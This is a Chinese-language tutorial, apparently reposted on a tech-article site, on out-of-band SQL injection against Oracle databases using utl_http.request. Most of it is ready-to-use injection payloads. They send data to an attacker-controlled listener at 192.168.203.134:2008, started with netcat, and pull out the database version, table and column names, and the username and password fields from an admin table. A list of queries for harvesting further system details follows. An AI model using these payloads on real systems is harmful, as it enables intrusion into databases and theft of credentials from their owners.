使用这种方法需要用户有 utl_http 访问网络的权限
检查是否支持 utl_http.request
支持 utl_http.request 页面显示正常
and exists (select count(*) from all_objects where object_name='UTL_HTTP') --复制
反弹注入命令
and utl_http.request('http://域名或IP:端口/'||(注入的语句))=1 --
注意 ||转码为 %7c%7c 否则浏览器不认识||
and utl_http.request('http://192.168.203.134:2008/'%7c%7c(select banner from sys.v_$version where rownum=1))=1 --复制
在192.168.203.134 开启监听 2008端口
nc -vvlp 2008复制
爆库、表、列
and utl_http.request('http://192.168.203.134:2008/'%7c%7c(select owner from all_tables where rownum=1))=1 --
and utl_http.request('http://192.168.203.134:2008/'%7c%7c(select table_name from user_tables where rownum=1 and table_name<>'LOGMNR_SESSION_EVOLVE$' and table_name<>'LOGMNR_GLOBAL$'))=1 --
and utl_http.request('http://192.168.203.134:2008/'%7c%7c(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1))=1 --复制
爆数据
and utl_http.request('http://192.168.203.134:2008/'%7c%7c(select username%7c%7cpassword from admin))=1 --复制
其他系统数据
1当前用户 (select user from dual)
2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)
3 服务器出口IP (用utl_http.request 可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 日志文件 (select member from v$logfile where rownum=1)
6 服务器sid 远程连接的话需要 (select instance_name from v$instance)
7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)复制
文章转载自老徐今天也很棒,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。